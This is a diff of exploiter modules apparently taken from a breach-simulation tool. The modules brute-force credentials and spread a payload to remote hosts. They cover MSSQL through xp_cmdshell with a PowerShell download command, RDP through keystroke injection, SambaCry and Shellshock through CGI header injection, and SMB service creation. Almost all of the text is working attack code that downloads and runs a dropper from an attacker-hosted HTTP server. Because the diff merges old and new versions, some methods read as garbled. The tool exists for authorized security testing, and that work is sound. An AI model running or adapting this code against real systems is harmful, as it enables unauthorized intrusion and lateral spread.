||||
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
|
||||
XP_CMDSHELL_COMMAND_END = "\""
|
||||
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
|
||||
EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
|
||||
CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
|
||||
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
|
||||
"DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
|
||||
|
||||
def __init__(self, host):
|
||||
super(MSSQLExploiter, self).__init__(host)
|
||||
self.cursor = None
|
||||
self.monkey_server = None
|
||||
self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
|
||||
|
||||
def _exploit_host(self):
|
||||
"""
|
||||
First this method brute forces to get the mssql connection (cursor).
|
||||
Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
|
||||
"""
|
||||
# Brute force to get connection
|
||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||
|
||||
if not cursor:
|
||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
return False
|
||||
# Create dir for payload
|
||||
self.create_temp_dir()
|
||||
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = tools.get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
dst_path = get_monkey_dest_path(http_path)
|
||||
tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME)
|
||||
|
||||
# Create monkey dir.
|
||||
commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
|
||||
# Form download command in a file
|
||||
commands = [
|
||||
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
|
||||
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
|
||||
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
self.add_executed_cmd(' '.join(commands))
|
||||
# Form monkey's command in a file
|
||||
monkey_args = tools.build_monkey_commandline(self.host,
|
||||
tools.get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||
for part in textwrap.wrap(monkey_args, 40)]
|
||||
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||
commands.extend(monkey_args)
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
self.add_executed_cmd(commands[-1])
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def run_file(cursor, file_path):
|
||||
command = ["exec xp_cmdshell \"%s\"" % file_path]
|
||||
return MSSQLExploiter.execute_command(cursor, command)
|
||||
|
||||
@staticmethod
|
||||
def execute_command(cursor, cmds):
|
||||
"""
|
||||
Executes commands on MSSQL server
|
||||
:param cursor: MSSQL connection
|
||||
:param cmds: list of commands in MSSQL syntax.
|
||||
:return: True if successfully executed, false otherwise.
|
||||
"""
|
||||
try:
|
||||
# Running the cmd on remote host
|
||||
for cmd in cmds:
|
||||
cursor.execute(cmd)
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
self.create_empty_payload_file()
|
||||
|
||||
self.start_monkey_server()
|
||||
self.upload_monkey()
|
||||
self.stop_monkey_server()
|
||||
|
||||
# Clear payload to pass in another command
|
||||
self.create_empty_payload_file()
|
||||
|
||||
self.run_monkey()
|
||||
|
||||
self.remove_temp_dir()
|
||||
except Exception as e:
|
||||
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
|
||||
return False
|
||||
raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
|
||||
|
||||
return True
|
||||
|
||||
def run_payload_file(self):
|
||||
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
|
||||
return self.run_mssql_command(file_running_command)
|
||||
|
||||
def create_temp_dir(self):
|
||||
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
|
||||
self.run_mssql_command(dir_creation_command)
|
||||
|
||||
def create_empty_payload_file(self):
|
||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||
self.run_mssql_command(tmp_file_creation_command)
|
||||
|
||||
def run_mssql_command(self, mssql_command):
|
||||
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
|
||||
if not array_of_commands:
|
||||
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
|
||||
self.run_mssql_commands(array_of_commands)
|
||||
|
||||
def run_monkey(self):
|
||||
monkey_launch_command = self.get_monkey_launch_command()
|
||||
self.run_mssql_command(monkey_launch_command)
|
||||
self.run_payload_file()
|
||||
|
||||
def run_mssql_commands(self, cmds):
|
||||
for cmd in cmds:
|
||||
self.cursor.execute(cmd)
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
|
||||
def upload_monkey(self):
|
||||
monkey_download_command = self.write_download_command_to_payload()
|
||||
self.run_payload_file()
|
||||
self.add_executed_cmd(monkey_download_command.command)
|
||||
|
||||
def remove_temp_dir(self):
|
||||
# Remove temporary dir we stored payload at
|
||||
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
|
||||
self.run_mssql_command(tmp_file_removal_command)
|
||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
|
||||
self.run_mssql_command(tmp_dir_removal_command)
|
||||
|
||||
def start_monkey_server(self):
|
||||
self.monkey_server = MonkeyHTTPServer(self.host)
|
||||
self.monkey_server.start()
|
||||
|
||||
def stop_monkey_server(self):
|
||||
self.monkey_server.stop()
|
||||
|
||||
def write_download_command_to_payload(self):
|
||||
monkey_download_command = self.get_monkey_download_command()
|
||||
self.run_mssql_command(monkey_download_command)
|
||||
return monkey_download_command
|
||||
|
||||
def get_monkey_launch_command(self):
|
||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||
# Form monkey's launch command
|
||||
monkey_args = build_monkey_commandline(self.host,
|
||||
get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
suffix = ">>{}".format(self.payload_file_path)
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
|
||||
prefix=prefix,
|
||||
suffix=suffix)
|
||||
|
||||
def get_monkey_download_command(self):
|
||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
|
||||
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||
return MSSQLLimitedSizePayload(command=monkey_download_command,
|
||||
suffix=suffix,
|
||||
prefix=prefix)
|
||||
|
||||
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
Main loop starts here.
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
Main loop starts here.
|
||||
|
||||
Args:
|
||||
host (str): Host ip address
|
||||
port (str): Tcp port that the host listens to
|
||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||
Args:
|
||||
host (str): Host ip address
|
||||
port (str): Tcp port that the host listens to
|
||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||
|
||||
Return:
|
||||
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
||||
"""
|
||||
Return:
|
||||
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
||||
"""
|
||||
# Main loop
|
||||
# Iterates on users list
|
||||
for user, password in users_passwords_pairs_list:
|
||||
|
@ -123,8 +172,9 @@ class MSSQLExploiter(HostExploiter):
|
|||
# Core steps
|
||||
# Trying to connect
|
||||
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
|
||||
LOG.info('Successfully connected to host: {0}, '
|
||||
'using user: {1}, password: {2}'.format(host, user, password))
|
||||
LOG.info(
|
||||
'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format(
|
||||
host, user, self._config.hash_sensitive_data(password)))
|
||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||
self.report_login_attempt(True, user, password)
|
||||
cursor = conn.cursor()
|
||||
|
@ -136,4 +186,12 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||
'aborting brute force'.format(host, port))
|
||||
return None
|
||||
raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
|
||||
|
||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
super(MSSQLLimitedSizePayload, self).__init__(command=command,
|
||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
|
||||
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
|
||||
|
|
|
@ -1,347 +0,0 @@
|
|||
import os.path
|
||||
import threading
|
||||
import time
|
||||
from logging import getLogger
|
||||
|
||||
import rdpy.core.log as rdpy_log
|
||||
import twisted.python.log
|
||||
from rdpy.core.error import RDPSecurityNegoFail
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from twisted.internet import reactor
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools import get_target_monkey
|
||||
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from infection_monkey.utils import utf_to_ascii
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
KEYS_INTERVAL = 0.1
|
||||
MAX_WAIT_FOR_UPDATE = 120
|
||||
KEYS_SENDER_SLEEP = 0.01
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
RDP_PORT = 3389
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
||||
def twisted_log_func(*message, **kw):
|
||||
if kw.get('isError'):
|
||||
error_msg = 'Unknown'
|
||||
if 'failure' in kw:
|
||||
error_msg = kw['failure'].getErrorMessage()
|
||||
LOG.error("Error from twisted library: %s" % (error_msg,))
|
||||
else:
|
||||
LOG.debug("Message from twisted library: %s" % (str(message),))
|
||||
|
||||
|
||||
def rdpy_log_func(message):
|
||||
LOG.debug("Message from rdpy library: %s" % (message,))
|
||||
|
||||
|
||||
twisted.python.log.msg = twisted_log_func
|
||||
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
||||
rdpy_log.log = rdpy_log_func
|
||||
|
||||
# thread for twisted reactor, create once.
|
||||
global g_reactor
|
||||
g_reactor = threading.Thread(target=reactor.run, args=(False,))
|
||||
|
||||
|
||||
class ScanCodeEvent(object):
|
||||
def __init__(self, code, is_pressed=False, is_special=False):
|
||||
self.code = code
|
||||
self.is_pressed = is_pressed
|
||||
self.is_special = is_special
|
||||
|
||||
|
||||
class CharEvent(object):
|
||||
def __init__(self, char, is_pressed=False):
|
||||
self.char = char
|
||||
self.is_pressed = is_pressed
|
||||
|
||||
|
||||
class SleepEvent(object):
|
||||
def __init__(self, interval):
|
||||
self.interval = interval
|
||||
|
||||
|
||||
class WaitUpdateEvent(object):
|
||||
def __init__(self, updates=1):
|
||||
self.updates = updates
|
||||
pass
|
||||
|
||||
|
||||
def str_to_keys(orig_str):
|
||||
result = []
|
||||
for c in orig_str:
|
||||
result.append(CharEvent(c, True))
|
||||
result.append(CharEvent(c, False))
|
||||
result.append(WaitUpdateEvent())
|
||||
return result
|
||||
|
||||
|
||||
class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||
def __init__(self, controller, keys, width, height, addr):
|
||||
super(KeyPressRDPClient, self).__init__(controller)
|
||||
self._keys = keys
|
||||
self._addr = addr
|
||||
self._update_lock = threading.Lock()
|
||||
self._wait_update = False
|
||||
self._keys_thread = threading.Thread(target=self._keysSender)
|
||||
self._keys_thread.daemon = True
|
||||
self._width = width
|
||||
self._height = height
|
||||
self._last_update = 0
|
||||
self.closed = False
|
||||
self.success = False
|
||||
self._wait_for_update = None
|
||||
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
update_time = time.time()
|
||||
self._update_lock.acquire()
|
||||
self._last_update = update_time
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
|
||||
def _keysSender(self):
|
||||
LOG.debug("Starting to send keystrokes")
|
||||
while True:
|
||||
|
||||
if self.closed:
|
||||
return
|
||||
|
||||
if len(self._keys) == 0:
|
||||
reactor.callFromThread(self._controller.close)
|
||||
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
|
||||
return
|
||||
|
||||
key = self._keys[0]
|
||||
|
||||
self._update_lock.acquire()
|
||||
time_diff = time.time() - self._last_update
|
||||
if isinstance(key, WaitUpdateEvent):
|
||||
self._wait_for_update = True
|
||||
self._update_lock.release()
|
||||
key.updates -= 1
|
||||
if key.updates == 0:
|
||||
self._keys = self._keys[1:]
|
||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
if isinstance(key, ScanCodeEvent):
|
||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
||||
key.is_special)
|
||||
elif isinstance(key, CharEvent):
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||
elif isinstance(key, SleepEvent):
|
||||
time.sleep(key.interval)
|
||||
|
||||
self._keys = self._keys[1:]
|
||||
else:
|
||||
self._update_lock.release()
|
||||
time.sleep(KEYS_SENDER_SLEEP)
|
||||
|
||||
def onReady(self):
|
||||
time.sleep(1)
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
|
||||
time.sleep(1)
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
|
||||
time.sleep(1)
|
||||
pass
|
||||
|
||||
def onClose(self):
|
||||
self.success = len(self._keys) == 0
|
||||
self.closed = True
|
||||
|
||||
def onSessionReady(self):
|
||||
LOG.debug("Logged in, session is ready for work")
|
||||
self._last_update = time.time()
|
||||
self._keys_thread.start()
|
||||
|
||||
|
||||
class CMDClientFactory(rdp.ClientFactory):
|
||||
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
|
||||
self._username = username
|
||||
self._password = password
|
||||
self._domain = domain
|
||||
self._keyboard_layout = "en"
|
||||
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
||||
self._keys = [SleepEvent(1),
|
||||
ScanCodeEvent(91, True, True),
|
||||
ScanCodeEvent(19, True),
|
||||
ScanCodeEvent(19, False),
|
||||
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()]
|
||||
self._optimized = optimized
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
|
||||
self._nego = True
|
||||
self._client = None
|
||||
self._width = width
|
||||
self._height = height
|
||||
self.done_event = threading.Event()
|
||||
self.success = False
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@summary: Build RFB observer
|
||||
We use a RDPClient as RDP observer
|
||||
@param controller: build factory and needed by observer
|
||||
@param addr: destination address
|
||||
@return: RDPClientQt
|
||||
"""
|
||||
|
||||
# create client observer
|
||||
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
|
||||
|
||||
controller.setUsername(self._username)
|
||||
controller.setPassword(self._password)
|
||||
controller.setDomain(self._domain)
|
||||
controller.setKeyboardLayout(self._keyboard_layout)
|
||||
controller.setHostname(addr.host)
|
||||
if self._optimized:
|
||||
controller.setPerformanceSession()
|
||||
controller.setSecurityLevel(self._security)
|
||||
|
||||
return self._client
|
||||
|
||||
def clientConnectionLost(self, connector, reason):
|
||||
# try reconnect with basic RDP security
|
||||
if reason.type == RDPSecurityNegoFail and self._nego:
|
||||
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
|
||||
(connector.host, connector.port))
|
||||
# stop nego
|
||||
self._nego = False
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
|
||||
connector.connect()
|
||||
return
|
||||
|
||||
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
|
||||
self.success = self._client.success
|
||||
self.done_event.set()
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
|
||||
(connector.host, connector.port, reason.getErrorMessage()))
|
||||
self.success = False
|
||||
self.done_event.set()
|
||||
|
||||
|
||||
class RdpExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'RDP'
|
||||
|
||||
def __init__(self, host):
|
||||
super(RdpExploiter, self).__init__(host)
|
||||
|
||||
def is_os_supported(self):
|
||||
if super(RdpExploiter, self).is_os_supported():
|
||||
return True
|
||||
|
||||
if not self.host.os.get('type'):
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
||||
if is_open:
|
||||
self.host.os['type'] = 'windows'
|
||||
return True
|
||||
return False
|
||||
|
||||
def _exploit_host(self):
|
||||
global g_reactor
|
||||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
||||
if not is_open:
|
||||
LOG.info("RDP port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
||||
return False
|
||||
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
if self._config.rdp_use_vbs_download:
|
||||
command = RDP_CMDLINE_HTTP_VBS % {
|
||||
'monkey_path': self._config.dropper_target_path_win_32,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
else:
|
||||
command = RDP_CMDLINE_HTTP_BITS % {
|
||||
'monkey_path': self._config.dropper_target_path_win_32,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
g_reactor.daemon = True
|
||||
g_reactor.start()
|
||||
|
||||
exploited = False
|
||||
for user, password in user_password_pairs:
|
||||
try:
|
||||
# run command using rdp.
|
||||
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
||||
self.host, user, password)
|
||||
|
||||
LOG.info("RDP connected to %r", self.host)
|
||||
|
||||
user = utf_to_ascii(user)
|
||||
password = utf_to_ascii(password)
|
||||
command = utf_to_ascii(command)
|
||||
|
||||
client_factory = CMDClientFactory(user, password, "", command)
|
||||
|
||||
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
||||
|
||||
client_factory.done_event.wait()
|
||||
|
||||
if client_factory.success:
|
||||
if not self._config.rdp_use_vbs_download:
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||
self.add_vuln_port(RDP_PORT)
|
||||
exploited = True
|
||||
self.report_login_attempt(True, user, password)
|
||||
break
|
||||
else:
|
||||
# failed exploiting with this user/pass
|
||||
self.report_login_attempt(False, user, password)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", self.host,
|
||||
user, password, exc)
|
||||
continue
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
|
||||
return False
|
||||
elif http_thread.downloads == 0:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
|
||||
return False
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r",
|
||||
os.path.basename(src_path), self.host)
|
||||
self.add_executed_cmd(command)
|
||||
return True
|
|
@ -19,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
|
|||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -266,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
|
||||
|
||||
T1105Telem(ScanStatus.USED,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
monkey_bin_64_src_path).send()
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
|
|
|
@ -6,11 +6,13 @@ from random import choice
|
|||
|
||||
import requests
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.exploit.shellshock_resources import CGI_FILES
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
|
@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__)
|
|||
TIMEOUT = 2
|
||||
TEST_COMMAND = '/bin/uname -a'
|
||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||
LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
|
||||
|
||||
|
||||
class ShellShockExploiter(HostExploiter):
|
||||
|
@ -106,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
|
|||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
if not self._create_lock_file(exploit, url, header):
|
||||
LOG.info("Another monkey is running shellshock exploit")
|
||||
return True
|
||||
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
|
@ -122,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
|
|||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
self._remove_lock_file(exploit, url, header)
|
||||
|
||||
if (http_thread.downloads != 1) or (
|
||||
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
|
@ -131,6 +140,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
|
||||
run_path = exploit + chmod
|
||||
self.attack_page(url, header, run_path)
|
||||
T1222Telem(ScanStatus.USED, chmod, self.host).send()
|
||||
|
||||
# run the monkey
|
||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||
|
@ -179,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
|
|||
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
|
||||
return False,
|
||||
|
||||
def _create_lock_file(self, exploit, url, header):
|
||||
if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
|
||||
return False
|
||||
cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
|
||||
self.attack_page(url, header, cmd)
|
||||
return True
|
||||
|
||||
def _remove_lock_file(self, exploit, url, header):
|
||||
cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
|
||||
self.attack_page(url, header, cmd)
|
||||
|
||||
@staticmethod
|
||||
def attack_page(url, header, attack):
|
||||
result = ""
|
||||
|
|
|
@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
|
|||
from impacket.smbconnection import SMB_DIALECT
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
@ -66,8 +68,8 @@ class SmbExploiter(HostExploiter):
|
|||
self._config.smb_download_timeout)
|
||||
|
||||
if remote_full_path is not None:
|
||||
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : %s : %s)",
|
||||
self.host, user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash)
|
||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
|
||||
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
||||
|
@ -79,8 +81,8 @@ class SmbExploiter(HostExploiter):
|
|||
|
||||
except Exception as exc:
|
||||
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
|
||||
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
|
||||
user, password, lm_hash, ntlm_hash, exc)
|
||||
" %s, password (SHA-512): '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
|
||||
user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
|
@ -129,11 +131,13 @@ class SmbExploiter(HostExploiter):
|
|||
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
|
||||
lpBinaryPathName=cmdline)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(scmr_rpc, service)
|
||||
status = ScanStatus.USED
|
||||
except:
|
||||
